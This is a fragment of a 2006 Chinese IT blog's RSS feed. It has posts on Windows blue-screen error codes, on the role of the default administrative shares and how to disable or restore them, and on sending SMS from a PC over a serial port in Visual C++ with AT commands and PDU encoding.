/>◇解决方案:升级或卸载最新安装的硬件驱动程序. <br />┌─┐ <br />│35│ <br />└─┘0x00000135:UNABLE_TO_LOCATE_DLL <br />◆错误分析:通常表示某个文件丢失或已经损坏, 或者是注册表出现错误. <br />◇ 解决方案:如果是文件丢失或损坏, 在蓝屏信息中通常会显示相应的文件名, 你可以通过网络或是其他电脑找到相应的文件, 并将其复制到系统文件夹下的SYSTEM32子文件夹中. 如果没有显示文件名, 那就很有可能是注册表损坏, 请利用系统还原或是以前的注册表备份进行恢复. <br />┌─┐ <br />│36│ <br />└─┘0x0000021A:STATUS_SYSTEM_PROCESS_TERMINATED <br />◆错误分析:用户模式子系统, 例如Winlogon或客服服务运行时子系统(CSRSS)已损坏, 所以无法再保证安全性, 导致系统无法启动. 有时, 当系统管理员错误地修改了用户帐号权限, 导致其无法访问系统文件和文件夹. <br />◇解决方案:使用"最后一次正确的配置", 如果无效, 可使用安装光盘进行修复安装. <br />┌─┐ <br />│37│ <br />└─┘STOP 0xC0000221 or STATUS_IMAGE_CHECKSUM_MISMATCH <br />◆错误分析:通常是由于驱动程序或系统DLL文件损坏造成的. 一般情况下, 在蓝屏中会出现文件名称. <br />◇解决方案: <br />(1)使用Windows安装光盘进行修复安装; <br />(2)如果还能进入安全模式, 可以"开始--&gt;运行": sfc /scannow <br />(3) 还可以采用提取文件的方法来解决, 进入"故障恢复控制台", 使用copy或expand命令从光盘中复制或解压受损的文件. 不过, 蓝屏一般都是驱动程序文件的问题, 所以expand命令会用的都一些, 比如:蓝屏中提示tdi.sys文件, 因为驱动文件一般在i386driver压缩包里, 所以使用: expand %CDROM:i386driver.cab f:tdi.sys c:winntsystemdrivers.(xp为expand %CDROM:i386driver.cab f:tdi.sys c:windownssystemdrivers)</font>
				<br />
		</span>
<img src ="http://www.cnitblog.com/raise/aggbug/9834.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/raise/" target="_blank">江可</a> 2006-04-28 10:55 <a href="http://www.cnitblog.com/raise/archive/2006/04/28/9834.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>默认共享还是有用滴！</title><link>http://www.cnitblog.com/raise/archive/2006/04/27/9762.html</link><dc:creator>江可</dc:creator><author>江可</author><pubDate>Thu, 27 Apr 2006 05:53:00 GMT</pubDate><guid>http://www.cnitblog.com/raise/archive/2006/04/27/9762.html</guid><wfw:comment>http://www.cnitblog.com/raise/comments/9762.html</wfw:comment><comments>http://www.cnitblog.com/raise/archive/2006/04/27/9762.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/raise/comments/commentRss/9762.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/raise/services/trackbacks/9762.html</trackback:ping><description><![CDATA[
		<p>不知道在什么时候，关闭Windows系统中的C$、D$、IPC$等默认共享成为了最基本的安全防范措施，害得我们新手胶纷纷采取措施，关闭默认共享。然而存在是有理由的，默认共享的存在同样如此。<br />    默认共享是Windows 2000及其以上操作系统在安装完成后自动打开的共享。只要我们知道了网络中一台计算机的管理员账号就可以通过默认共享访问该计算机中的资源。<br />    微软推出默认共享是为了方便管理员管理网络中的计算机，特别是在建立域的网络专门有几个默认共享用于存储用户配置文件。然而任何事有利就有弊，在开启默认共享方便管理的同时也给计算机带来了安全隐患。如果知道了管理员账户与密码，那么任何人都能访问别人的计算机。这也是为什么有点安全常识的人都会将默认共享关闭的原因。一般个人用的计算机也可以关闭它。<br />    在实际工作中我们可能经常使用“net share 默认共享名 /delete”命令将对应的默认共享关闭，或者编辑注册表中的HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanworkstation\parameters" <br />，将LanmanServerParameters子项中的 AutoShareServer和AutoShareWks数值配置为1。这样系统启动后将关闭原本开放的默认共享。以后，运行net share命令时，我们查看本地计算机共享信息时会找不到任何共享资源。或用批处理方式关闭： </p>
		<p>@echo off </p>
		<p>net share C$ /del </p>
		<p>net share D$ /del </p>
		<p>net share ipc$ /del </p>
		<p>net share admin$ /del </p>
		<p>net share e$ /del </p>
		<p>net share f$ /del </p>
		<p>再添进组策略的用户配置》windosw配置》脚本-（登陆/注销）》登陆 就可以了。<br />    也许有的人关闭了默认共享，在实际使用中并没有出现任何故障。实际上默认共享只在某些情况下用到，关闭默认共享并不会影响上网聊天、收发邮件等普通操作，不过对于域控制器或网络中使用了C/S类型的软件等环境来说，盲目删除默认共享带来的危害是巨大的。下面，就从众多故障中选出几个有代表性的进行分析，希望引起大家对默认共享的重视。<br />    1     将域控制器上的默认共享全部关闭后，当网络中有客户端计算机想加入这个域时，则会出现问题。现象为Windows 98或Microsoft Windows Millennium Edition的客户端计算机登录到域时会出现“域登录密码不正确”、“没有权限登录域”等提示。一些Windows 2000或Windows XP的计算机登录到网络时也可能出现“域服务器不可用”等信息。如果我们手工将计算机加入域时会出现“域控制器名称没找到”的提示。<br />出现上述信息后，我们的客户机根本无法加入建立的域中，只能进行本机登录，在安全性和管理性上都无法达到统一，使企业网络管理无法正常进行，规划好的域无法运行。<br />    为什么客户端无法正常加入到域中呢？究其原因是客户机在寻找域控制器时是通过广播查找NETLOGON$这个默认共享的，如果此共享被关闭则会出现故障。</p>
		<p>  2   在网络中任意一台计算机上禁止所有默认共享后，在网络中其他计算机上使用UNC 路径、映射的驱动器、net use命令、net view命令或通过在“网上邻居”中浏览网络，以远程方式访问或查看关闭默认共享的计算机时会收到“远程服务器不容许访问”、“系统53错误，网络路径不可达”等信息。<br />    出现上述信息后，网络中的其他计算机就无法访问关闭默认共享的计算机。</p>
		<p>    3   在关闭默认共享的计算机上WINS服务可能无法启动或者WINS控制台显示红色的叉，更有甚者两个故障同时存在。虽然WINS服务在当前网络中应用的范围越来越少，但是通过WINS服务我们还是可以大大加快局域网中主机名的解析速度。WINS服务无法启动或者WINS控制台显示红叉，那么在解析主机名过程中会出现问题。<br />    WINS服务的异常也是我们将默认共享关闭了所带来的，关闭默认共享会使WINS相关服务与组件的运行出现问题。</p>
		<p>      4     网络中使用了瑞星网络版杀毒软件，在使用中将服务器端的默认共享关闭后，客户端出现无法正常连接瑞星杀毒服务器的现象，同时，服务器也无法正常检测客户端的漏洞以及控制客户端升级等操作。<br />    上述故障自然也是将默认共享关闭造成的，瑞星网络版通过默认共享admin$来管理客户机，当客户机的admin$关闭后服务器将无法通过自身的扫描模块寻找客户机以及它们的漏洞，关闭服务器的admin$后则会出现客户机无法找到网络中的瑞星杀毒服务器的问题。<br />    值得注意的是，该问题不仅出现在网络版瑞星杀毒软件上，对于大多数网络版杀毒软件来说盲目关闭默认共享都可能带来此危害，甚至某些网络管理软件也会因为admin$的关闭而无法工作。</p>
		<p>    产生上述危害的原因就是关闭了默认共享，一方面是由于人为的关闭了共享，另一方面还可能是病毒或恶意程序非法关闭了这些共享。所以对于默认共享，建议各位还是不要随意关闭为好。恢复的方法很简单，按以下几步进行设置即可。</p>
		<p>    第一步：检查AutoShareServer和AutoShareWks注册表值，以确保未将它们设置为0。依次点击“开始→运行”，输入regedit，然后按回车键进入注册表编辑器。</p>
		<p>    第二步：找到并单击HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanworkstation\parameters</p>
		<p>    第三步：如果lanmanworkstation\parameters子项中的AutoShareServer 和AutoShareWks DWORD值配置的数值为0，则将该值更改为1。</p>
		<p>    第四步：重新启动计算机。通常运行Windows Server 2003、Windows XP、Windows 2000的计算机会在启动过程中自动创建。</p>
		<p>    第五步：启动计算机后，我们可以通过运行CMD进入命令行模式，然后运行net share，在共享列表中应该会查找到Admin$、C$和IPC$等默认共享的存在。</p>
		<p>    提示：如果发现按照上述设置，默认共享还没有出现的话，那么很有可能是病毒或非法程序破坏了系统，我们需要用更新了最新病毒库的杀毒软件在安全模式下扫描整个系统。</p>
		<p>    另外还有一些其他的方法，例如关闭Server服务、在网卡上去掉Microsoft客户端驱动、以及在网卡上去掉“文件和打印共享”选项等都可关闭默认共享。当使用这些方法关闭默认共享后出现上述问题时，就需要通过开启相应的Server服务，在网卡中添加相应驱动或选项来恢复默认共享。</p>
		<p>    如何关闭默认共享是网管们经常探讨的问题，不过既然现在我们知道了关闭默认共享也会带来一定的危害，那么是否关闭就要慎重考虑了。我们可以根据实际情况自行取舍，一般在域环境中或网络中安装了网络版杀毒软件、程序的时候，还是应该保留这些默认共享，毕竟很多软件对网络的访问与使用都建立在默认共享的基础之上。</p>
<img src ="http://www.cnitblog.com/raise/aggbug/9762.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/raise/" target="_blank">江可</a> 2006-04-27 13:53 <a href="http://www.cnitblog.com/raise/archive/2006/04/27/9762.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用VC实现发送和接收短信 </title><link>http://www.cnitblog.com/raise/archive/2006/04/27/9761.html</link><dc:creator>江可</dc:creator><author>江可</author><pubDate>Thu, 27 Apr 2006 05:47:00 GMT</pubDate><guid>http://www.cnitblog.com/raise/archive/2006/04/27/9761.html</guid><wfw:comment>http://www.cnitblog.com/raise/comments/9761.html</wfw:comment><comments>http://www.cnitblog.com/raise/archive/2006/04/27/9761.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/raise/comments/commentRss/9761.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/raise/services/trackbacks/9761.html</trackback:ping><description><![CDATA[
		<p>     前些日子感觉得练习一下VC了，所以就有想，平时发短信那么累，手机键盘又不好用，而我又有数据线，为什么不可以用电脑直接发送短信呢？想法一出来，就开始找资料开始行动吧！</p>
		<p>    由于程序涉及的方面很多，因此只讲关键的主要的部分。</p>
		<p>    首先，得了解手机和电脑之间是通过什么通讯的，我的手机是有红外接口，电脑上接一个红外适配器，就可以与手机连接了，而Windows是把红外设备当作一个串口来看待的，所以关键就是在于如何用程序来控制COM端口来发送和接收数据。在网上找了很多资料然后就开始编写代码：</p>
		<p>    列举出系统中的所有的串口：这个需要操作注册表来实现，代码如下：</p>
		<p>void CSendMsgDlg::GetAllCom()<br />{<br /> HKEY hKey;<br /> LONG ret;<br /> OSVERSIONINFO  osvi;<br /> BOOL bOsVersionInfoEx;<br /> char keyinfo[100],comm_name[200],ValueName[200];<br /> int i;<br /> DWORD sType,Reserved,cbData,cbValueName;</p>
		<p> ZeroMemory(&amp;osvi, sizeof(OSVERSIONINFO));<br />    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);<br /> <br /> memset(keyinfo,0,100);<br /> strcpy(keyinfo,"HARDWARE\\DEVICEMAP\\SERIALCOMM");<br />    i=0; sType=REG_SZ;Reserved=0;<br /> bOsVersionInfoEx =GetVersionEx(&amp;osvi);<br />    ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,keyinfo,0,KEY_ALL_ACCESS,&amp;hKey);<br /> if (ret==ERROR_SUCCESS){<br />  if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT)<br />  {<br />   do <br />   {<br />    cbData=200;cbValueName=200;<br />    memset(comm_name,0,200); <br />    memset(ValueName,0,200);<br />    ret=RegEnumValue(hKey,i,ValueName,&amp;cbValueName,NULL,&amp;sType,(LPBYTE)comm_name,&amp;cbData);<br />    if (ret==ERROR_SUCCESS)<br />    {<br />     //m_list.Add(comm_name);<br />     m_comm.AddString(comm_name);<br />     i++;<br />    }<br />   }while (ret==ERROR_SUCCESS);<br />  }<br /> }<br /> RegCloseKey(hKey);<br />}</p>
		<p>得到所有的串口了，现在就应该打开串口了，一般来说计算机自己有两个串口，而红外线的标志一般是COM3。</p>
		<p>打开串口的代码：</p>
		<p>void CSendMsgDlg::OnButton1() <br />{<br /> char str[100];<br /> DWORD dwThreadID;<br /> memset(str,0,100);<br /> int sel = m_comm.GetCurSel();<br /> if(sel == -1)<br /> {<br />  AfxMessageBox("对不起，请选择一个接口！");<br />  return;<br /> }<br /> m_comm.GetLBText(sel,str);<br /> m_hCom = CreateFile(str,<br />      GENERIC_READ | GENERIC_WRITE,<br />      0,NULL,OPEN_EXISTING,<br />      FILE_FLAG_OVERLAPPED,<br />      NULL);</p>
		<p> if(m_hCom == INVALID_HANDLE_VALUE)<br /> {<br />  AfxMessageBox("对不起，连接失败！");<br />  return;<br /> }</p>
		<p> ASSERT(m_hCom!=INVALID_HANDLE_VALUE);<br /> <br /> SetCommMask(m_hCom, EV_RXCHAR|EV_TXEMPTY );//设置事件驱动的类型<br /> <br /> SetupComm( m_hCom, 1024,512) ; //设置输入、输出缓冲区的大小<br /> <br /> PurgeComm( m_hCom, PURGE_TXABORT | PURGE_RXABORT | PURGE_TXCLEAR | PURGE_RXCLEAR ); //清干净输入、输出缓冲区<br /> <br /> COMMTIMEOUTS CommTimeOuts ; //定义超时结构，并填写该结构</p>
		<p> CommTimeOuts.ReadIntervalTimeout = 0xFFFFFFFF;<br /> CommTimeOuts.ReadTotalTimeoutMultiplier = 0;<br /> CommTimeOuts.ReadTotalTimeoutConstant = 0;<br /> CommTimeOuts.WriteTotalTimeoutMultiplier = 0;<br /> CommTimeOuts.WriteTotalTimeoutConstant = 5000;<br /> <br /> <br /> SetCommTimeouts( m_hCom, &amp;CommTimeOuts ) ;//设置读写操作所允许的超时<br /> <br /> DCB dcb;<br /> <br /> GetCommState(m_hCom, &amp;dcb ) ; //读串口原来的参数设置<br /> <br /> dcb.BaudRate =9600; <br /> <br /> dcb.ByteSize =8; <br /> <br /> dcb.Parity = NOPARITY;<br /> <br /> dcb.StopBits = ONESTOPBIT ;<br /> <br /> dcb.fBinary = TRUE ;<br /> <br /> dcb.fParity = FALSE;<br /> <br /> SetCommState(m_hCom, &amp;dcb ) ; //串口参数配置<br /> memset( &amp;m_OverlappedRead, 0, sizeof( OVERLAPPED ) );<br /> memset( &amp;m_OverlappedWrite, 0, sizeof( OVERLAPPED ) );</p>
		<p> m_OverlappedRead.hEvent = CreateEvent(NULL,TRUE,FALSE,NULL);<br /> m_OverlappedWrite.hEvent = CreateEvent(NULL,TRUE,FALSE,NULL);<br /> m_hExit = CreateEvent(NULL,NULL,FALSE,NULL);</p>
		<p> hCommWatchThread = CreateThread( (LPSECURITY_ATTRIBUTES) NULL,0,(LPTHREAD_START_ROUTINE)CommWatchProc,this,0, &amp;dwThreadID );</p>
		<p> if(hCommWatchThread == NULL)<br /> {<br />  AfxMessageBox("对不起，连接失败！");<br />  return;<br /> }</p>
		<p> </p>
		<p> ASSERT(hCommWatchThread!=NULL);</p>
		<p> m_bConnected = true;</p>
		<p> m_type = 0;</p>
		<p> SendData("AT\r\n",strlen("AT\r\n"));<br /> PurgeComm(m_hCom, PURGE_RXCLEAR | PURGE_TXCLEAR | PURGE_RXABORT | PURGE_TXABORT); </p>
		<p> m_conn.EnableWindow(false);<br /> m_view.EnableWindow(true);<br /> m_send.EnableWindow(true);<br /> <br />}</p>
		<p>由于在CreateFile里面设置了一个参数“FILE_FLAG_OVERLAPPED”，所以与串口要按照异步的方式进行通讯，所以启动一个线程专门作为接收数据的线程：</p>
		<p>UINT CSendMsgDlg::CommWatchProc(LPARAM parm)<br />{ </p>
		<p> CSendMsgDlg * dlg = (CSendMsgDlg *)parm;<br /> HANDLE m_hComDev = dlg-&gt;m_hCom;<br /> DWORD dwBytesRead;<br /> char buffer[8000];<br /> <br /> DWORD ret;</p>
		<p> while(true)<br /> {<br />  memset(buffer,0,8000);<br />  int r = dlg-&gt;ReadData(buffer,8000);<br /> // TRACE("%s",buffer);<br />  if(strlen(buffer) != 0)<br />   dlg-&gt;ProcessData(buffer);<br />  Sleep(1000);<br /> }<br /> return 0;<br />}</p>
		<p>下面是读写COM口的函数：</p>
		<p>int CSendMsgDlg::SendData(char *buffer, DWORD dwBytesWritten)<br />{<br /> BOOL bWriteStat;<br /> DWORD dwBytesRead;<br /> bWriteStat = WriteFile(m_hCom, buffer, dwBytesWritten, &amp;dwBytesWritten, &amp;m_OverlappedWrite );<br />    if(!bWriteStat)<br />  {<br />     if(GetLastError()==ERROR_IO_PENDING)<br />  {<br />  WaitForSingleObject(m_OverlappedRead.hEvent,1000);<br />   return ((int)dwBytesRead);<br />  }<br />  return(0);<br />  }<br />  return ((int)dwBytesRead);<br />}</p>
		<p>int CSendMsgDlg::ReadData(char *buffer, DWORD dwBytesRead)<br />{<br /> BOOL   bReadStatus;<br />    bReadStatus = ReadFile( m_hCom, buffer, dwBytesRead, &amp;dwBytesRead,&amp;m_OverlappedRead);<br />    if(!bReadStatus)<br />  {<br />     if(GetLastError()==ERROR_IO_PENDING)<br />  {<br />       WaitForSingleObject(m_OverlappedRead.hEvent,1000);<br />   return ((int)dwBytesRead);<br />  }<br />  return(0);<br />  }<br />  return ((int)dwBytesRead);<br />}<br />当然了，这里的方法并不是唯一选择。</p>
		<p>上面主要是对COM口的操作，这跟手机和短信无关，下面的部分就是与手机短信有关的部分了：</p>
		<p>首先，得知道如何利用手机的AT指令集，我们现在需要的指令不多，只有读短信和发短信。</p>
		<p>关于AT指令的其他命令网上有很多资料这里也不再提及了</p>
		<p>命令：AT+CMGL</p>
		<p>命令说明：获取短信列表</p>
		<p>格式举例：</p>
		<p>AT+CMGL<br />+CMGL: 1, 1, ,38<br />0891683108200205f0240D91683128500474F7000850403191611200126211572856FE4E6699865B<br />664E6054620021<br />+CMGL: 2, 1, ,70<br />0891683108200205f0240D91683128500474F70008504031919113003262114E0076F45C31662F4E<br />09597D5B66751F0020563F563F51765B9E6211662F57287BEE74039986770B4EBA5BB68DF3821E<br />+CMGL: 3, 1, ,64<br />0891683108200205f0240D91683128500474F70008504031913272002C5F53713667094E864E0D8F<br />C790FD662F59274E005C0F59B959B94E864F608001725B8FD860F354035AE98349<br />+CMGL: 4, 1, ,82<br />0891683108200205f0240D91683128500474F70008504031918284003E4F608D767D27542C4F6076<br />848BFE542700206B6A5FC3773C8FD84E0D5C1100204E004F1A80015E0863D095EE4F604F6053EF52<br />2B556590FD4E0D4F1A0020<br />+CMGL: 5, 1, ,154<br />0891683108200205f0240D91683128500474F70008504031916344008690A34F60600E4E484E0D4E<br />CE59345F0059CB542C002080AF5B9A662F5FEB80038BD54E864F60624D77406025002056F0559D54<br />96556189814E0D5C3157507B2C4E006392572880015E08773C76AE5E954E0B5C314E0D56F04E8600<br />20621173B05728592959294E5F662F4EE5549655617EF46301751F547D554A89814E0D65E9776177<br />404E86<br />+CMGL: 6, 1, ,88<br />0891683108200205f0240D91683128500474F70008504031914422004490A34F605C3153BB4E7090<br />1A51FA9898768480015E08002089814E0D5C31627E4EBA66FF4F6080030020603B776189C95BB966<br />1380D662404EE56211767D59294E0D7761<br />+CMGL: 7, 1, ,63<br />0891683108701305f0240BA13178855898F10008503013011285202C4F60684C4E0A7684004C0049<br />004E005500584E2D5348501F621162FF5BBF820D88C54E004E0B884C4E0DFF1F<br />+CMGL: 8, 1, ,62<br />0891683108200205f0240D91683128500474F70008504031913523002A54CE54404F6090A34E4880<br />6A660E597D597D770B4E66591A505A70B9989880AF5B9A5C3180FD8FC77684<br />+CMGL: 9, 1, ,32<br />0891683108301105f0040D91683139116779F30008503013120565000C53EF4EE563A752364E8654<br />17<br />+CMGL: 10, 1, ,36<br />0891683108301105f0040D91683139116779F300085030131285230010662F4E0D662F7F51901F5F<br />886162554A<br />+CMGL: 11, 1, ,38<br />0891683108301105f0040D91683139116779F30008503013220031001259295440002090A3662F4E<br />0D662F4E2D6BD2<br />+CMGL: 12, 1, ,38<br />0891683108301105f0040D91683139116779F30008503013221055001290A36211548B529E554A91<br />CD542F884C5417<br />+CMGL: 16, 1, ,151<br />0891683108705305f0040BA13178536816F3000850402090311220848FD979CD65F650194F605728<br />4E0A73ED4E865427FF0C621160F395EE95EE4F604E004E9B4E8B60C530024F6053EF4EE5544A8BC9<br />621153BB5E74672C79D1658779D159276982662F591A5C114E0A7EBF541730029EBB70E64F604E86<br />30024F604E5F628A5F2068A6534E768475358BDD544A8BC962115427FF0C514D5F97621165E0804A</p>
		<p>+CMGL: 17, 1, ,102<br />0891683108301105f0040D91683139116779F300085040306112230052636E8BF46C5F6D9B768400<br />28003400305929653B514B59275B6682F18BED56DB7EA700290020633A597D7684002E002053EF4E<br />E55E2E4F608BA1521260278FC77EA7002E00204F604E708BD598984E865417<br />+CMGL: 18, 1, ,85<br />0891683108705305f0040BA13178536816F3000850404022206220424ECA59298BB25230534A8DEF<br />5C316CA175354E86FF0C611F89C9602A602A768430024F604EE5540E8FD8662F53EB621155E654AA<br />5427611F89C96BD48F834EB25207<br />+CMGL: 20, 1, ,56<br />0891683108705505f0040D91683175804276F800085040508182950024534E4E3A76847EB34E9B9E<br />1F4EBA5E26774088AB5B504E0A73ED3000771F768460506016<br />+CMGL: 21, 1, ,41<br />0891683108701305f0040BA13178858581F80008504080905461201666534F1F300067094E8B76F8<br />6C42300056DE75358BDD<br />+CMGL: 22, 1, ,90<br />0891683108705505f0040D91683175804276F8000850408011033000464F60660E59297ED9623F4E<br />1C62534E2A75358BDD300053F778016211665A4E0A544A8BC94F603000621190A353EF4EE54E0A7F<br />514E8630004ECA592998864E867B148BB0672C<br />+CMGL: 23, 1, ,66<br />0891683108705505f0040D91683175804276F80008504080223543002E0031003300350030003700<br />330031003400320036003253EB52185E086BCD30004F605E2E6211628A94B153E07740<br />+CMGL: 24, 1, ,52<br />0891683108705505f0040D91683175804276F8000850408022757100200031003600350030002062<br />1173B057286CA194B1300089817B4953D15DE58D44<br />+CMGL: 25, 1, ,38<br />0891683108705505f0040D91683175804276F8000850408022950400124F6073B057284E0D4F1A99<br />7F6B7B54273000<br />+CMGL: 26, 1, ,48<br />0891683108705505f0040D91683175804276F80008504080322082001C534E4E3A898162DB4E2A51<br />99006A00610076006176844F6067654E0D<br />+CMGL: 27, 1, ,44<br />0891683108200205f0240D91683128500474F7000850409000416200184F60771F5F3A4EE5540E53<br />EF4E0D65629A9A62704F604E86<br />+CMGL: 28, 1, ,74<br />0891683108200205f0240D91683128500474F700085040900081500036621165394E864EE5540E4E<br />0D4F1A6B3A8D1F60A880014EBA5BB64E86002C4F606B3A8D1F621162114E5F4E0D4F1A62A5602876<br />84002E<br />+CMGL: 29, 1, ,82<br />0891683108200205f0240D91683128500474F70008504090002273003E62116DF14FE15584670955<br />8462A560766709607662A5002C5BF94E864F607ED9621163024E86591A5C115C0F65F64E864EC04E<br />4865F650195230592A9633<br />+CMGL: 30, 1, ,82<br />0891683108200205f0240D91683128500474F70008504090009222003E62118FD85F975929592963<br />D091924F60002054CE4F608FD94E2A783481115B5000204F608D767D277ED9621163024E0A8FC751<br />E05929621168C067E553BB<br />+CMGL: 31, 1, ,58<br />0891683108200205f0240D91683128500474F7000850409000535400266211521A6D825B8C630775<br />326CB97B495E725B8C4E8662115C31776100204F60572873A95565<br />+CMGL: 32, 1, ,108<br />0891683108200205f0240D91683128500474F700085040900014410058776189C94E4B524D6D8263<br />0775326CB95C314F1A505A4E2A597D68A6800C4E1468A690FD4F1A5B9E73B04E0D4FE14F608BD58B<br />D5002C62114E0D8DDF4F6073A94E86660E59298FD85F9765E98D7751FA53BB73A900380038<br />+CMGL: 33, 1, ,76<br />0891683108200205f0240D91683128500474F7000850409000542200385FD84E864F60662F753776<br />844E864E0D8FC76CA14E8B73B057286D41884C75374EBA6D82630775326CB90020621177414E0D5F<br />00773C4E86<br />+CMGL: 34, 1, ,154<br />0891683108200205f0240D91683128500474F7000850401190207100864E00592954B14FE9676552<br />304E0053E38BB8613F4E9565C1002C62115F2F4E0B81708BB84E864E2A613F8FD85F804E9591CC62<br />544E2A786C5E01002E4F604E5F60F38BB8613F4F464F605F2F817065F64E0D5C0F5FC37FFB51654E<br />9591CC002E621188AB60CA54464E86002C5583558381EA8BED9053003A00208FD8771F7075563F00<br />200021<br />+CMGL: 35, 1, ,66<br />0891683108705505f0040D91683175804276F80008504031418592002E653E4E2A00760073007376<br />845B8988C565874EF65230670D52A156684E0A97623000628A57305740544A8BC96211<br />+CMGL: 36, 1, ,42<br />0891683108200205f0240D91683128500474F70008504031815581001680017CCA6D82795E522B5F<br />D87ED96211630200510051<br />+CMGL: 37, 1, ,72<br />0891683108200205f0240D91683128500474F70008504031819571003454CE54DF4F608FD84E0A8B<br />FE002C626B76F273ED5427003F770B676562116BCF592965E94E0A90FD5F9763D091924F604E006B<br />21<br />+CMGL: 38, 1, ,158<br />0891683108705505f0040D91683157011065F00008504001227091008A84288FBE59C66D3E624B4E<br />0B53BB89C25BDF654C60C5002C4E0D4E004F1A513F624B4E0B53065FD956DE6765002C752898DF63<br />07548C4E2D63074F5C51FA0056578B624B52BF002C84288FBE59C69AD8517476848BF4201C62114E<br />EC80DC52294E86003F201D624B4E0B8BF4201C522B4ED65988626F4E86002C5C31526954B14EEC4F<br />E94E863002201D<br />+CMGL: 40, 1, ,34<br />0891683108200205f0240D91683128500474F70008504001226243000E84288FBE6BCD662F621190<br />E84E0B</p>
		<p>呵呵有点长了，这是刚刚我从我手机中读取出来的数据，是经过编码以后的，有兴趣的话可以“翻译”出来看看是什么内容：）</p>
		<p>关于SMS PDU格式的说明，推荐一个地址：</p>
		<p>
				<a href="http://shuixin13.mblogger.cn/posts/10087.aspx">http://shuixin13.mblogger.cn/posts/10087.aspx</a>
		</p>
		<p>这里的资料已经够全了，基本可以包括所有的操作。</p>
		<p>OK，读取手机短信不是我们的主要目的，在这里就不罗索了，只要仔细研究一下SMS PDU格式的那个文档，基本就不会有什么问题，我们的主要目的是发短信，现在就着重讲讲这一部分好了：</p>
		<p>发短信的指令格式和编码格式也可以参考上面的地址，里面讲的也很详细了，我也不在这里罗嗦了，现在的关键问题是，如何根据格式来编码和解码。</p>
		<p>首先，我们先建立一个Class来保存要发送的数据，每个字段用相应的类型表示，还要有一个“打包”的函数，就是把每一部分的数据组合起来。</p>
		<p>class CMsgSend  <br />{<br />public:<br /> CString GetMsgData();<br /> void Pack(CString c_number,CString s_number,CString msg);<br /> CMsgSend();<br /> virtual ~CMsgSend();<br /> CString m_strData;<br /> CString SCA;<br /> CString PDUType;<br /> CString MR;<br /> CString DA;<br /> CString PID;<br /> CString DCS;<br /> CString VP;<br /> CString UDL;<br /> CString UD;<br />};<br />其中m_strData保存“打包”以后的数据，其他各个成员变量的含义请参照文档。</p>
		<p>Pack是打包函数，需要三个参数：短信服务中心号码、接收短信手机号码和信息内容。</p>
		<p>另外，我们还需要一个工具类来实现编码和解码：</p>
		<p>class CMyTools  <br />{<br />public:<br /> static void HexToChar(CString sHex,char *p);//将十六进制转换为字符数组<br /> static CString DeCodeChinese(CString strSrc);//中文解码<br /> static CString EnCodeChinese(CString strSrc);//中文编码<br /> static CString SwapConvert(CString str);//交换，例如1234567890变换为2143658709，具体什么用看文档<br /> static BYTE HexToChar(CString str);//十六进制转换为字符类型<br /> static CString DeCodeEnglish(CString srcStr);//英文解码<br /> static CString EnCodeEnglish(CString srcStr);//英文编码<br />};</p>
		<p>CString CMyTools::EnCodeEnglish(CString srcStr)<br />{<br /> CString result;<br /> BYTE cur,c1,c2;<br /> CString tmp;<br /> int len,i=0,j=0;<br /> len = srcStr.GetLength() - 1;<br /> result = "";<br /> while(i &lt;= len)<br /> {<br />  c1 = srcStr.GetAt(i);<br />  if(i &lt; len)<br />  {<br />   c2 = srcStr.GetAt(i+1);<br />   cur = (c1 &gt;&gt; j) | (c2 &lt;&lt; (7-j) &amp; 0xff);<br />  }<br />  else<br />   cur = (c1 &gt;&gt; j) &amp; 0x7f;<br />  tmp.Format("%2.2X",cur);<br />  result = result + tmp;<br />  i++;<br />  j = (j+1) % 7;<br />  if(j == 0)<br />   i++;<br /> }<br /> return result;<br />}</p>
		<p>CString CMyTools::DeCodeEnglish(CString srcStr)<br />{<br /> CString strDest,strData;<br /> int n = 0,i,flag = 0,j = 0;<br /> strData = "";<br /> int len = srcStr.GetLength();<br /> for(i=0;i&lt;len-1;i+=2)<br /> {<br />  CString strTmp;<br />  char tmp;<br />  strTmp.Format("0x%1c%1c",srcStr.GetAt(i),srcStr.GetAt(i+1));<br />  tmp = HexToChar((LPSTR)(LPCTSTR)strTmp);<br />  strData = strData + tmp;<br /> }</p>
		<p> len = len/2 + len/2/8;<br /> for(i = 0;i&lt;len;i++)<br /> {<br />  strDest = strDest + " ";<br /> }<br /> for(i=0;i&lt;len;i++)<br /> {<br />  BYTE c1,c2;<br />  if(i == 0)<br />  {<br />   c1 = strData.GetAt(i);<br />   strDest.SetAt(i,c1 &amp; 0x7f);<br />  }<br />  else<br />  {<br />   c1 = strData.GetAt(j);<br />   c2 = strData.GetAt(j+1);<br />   strDest.SetAt(i,(c2 &lt;&lt; n) | (c1  &gt;&gt; (8 - n)));<br />   strDest.SetAt(i,strDest.GetAt(i) &amp; 0x7f);<br />   if(i%8 != 0)<br />    j++;<br />  }<br />  n = (i % 8) + 1;<br /> }<br /> return strDest;<br />}</p>
		<p>BYTE CMyTools::HexToChar(CString hex)<br />{<br /> int base = 1;<br /> int ret = 0;<br /> for(int i=hex.GetLength()-1;i&gt;=0;i--)<br /> {<br />  char chex = hex.GetAt(i);<br />  int ihex;<br />  if(chex &gt;= 'A' &amp;&amp; chex &lt;='F')<br />  {<br />   ihex = 15 - ('F' - chex);<br />  }<br />  else<br />  if(chex &gt;= 'a' &amp;&amp; chex &lt;='f')<br />  {<br />   ihex = 15 - ('f' - chex);<br />  }<br />  else<br />   ihex = chex - '0';<br />  ret += ihex * base;<br />  base*=16;<br /> }<br /> return ret;<br />}</p>
